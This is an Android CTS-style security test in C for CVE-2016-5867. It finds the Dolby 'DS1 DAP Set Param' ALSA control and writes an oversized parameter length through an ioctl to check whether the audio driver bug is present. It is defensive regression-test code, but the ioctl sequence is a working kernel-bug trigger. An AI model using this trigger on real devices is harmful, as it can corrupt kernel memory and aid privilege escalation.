/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/*
 * CVE-2016-5867
 */

#include "../includes/common.h"
#include <fcntl.h>
#include <sound/asound.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define DOLBY_SET_PARAM "DS1 DAP Set Param"
#define NUM_BLOCKS 16384
#define DOLBY_PARAM_ID_VDHE 0x0001074D
#define TOTAL_LENGTH_DOLBY_PARAM 745

unsigned int get_doblycontrolid(int fd) {
  unsigned int i;
  int ret = -1;
  unsigned int id = 0;
  struct snd_ctl_elem_list lst;
  memset(&lst, 0, sizeof(lst));
  lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_id));
  lst.space = NUM_BLOCKS;
  ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
  if (ret < 0) {
    return 0;
  }
  for (i = 0; i < lst.count; i++) {
    if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
                 (sizeof(DOLBY_SET_PARAM) - 1))) {
      id = lst.pids[i].numid;
      break;
    }
  }
  free(lst.pids);
  return id;
}

int main(){
  int fd = -1;
  struct snd_ctl_elem_value control;
  int ret;
  fd = open("/dev/snd/controlC0", O_RDWR);
  if(fd < 0) {
    return EXIT_FAILURE;
  }
  memset(&control, 0, sizeof(control));
  control.id.numid = get_doblycontrolid(fd);
  if(control.id.numid) {
    control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
    control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
    ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
    if(ret == 0) {
      close(fd);
      return EXIT_VULNERABLE;
    }
  }
  close(fd);
  return EXIT_SUCCESS;
}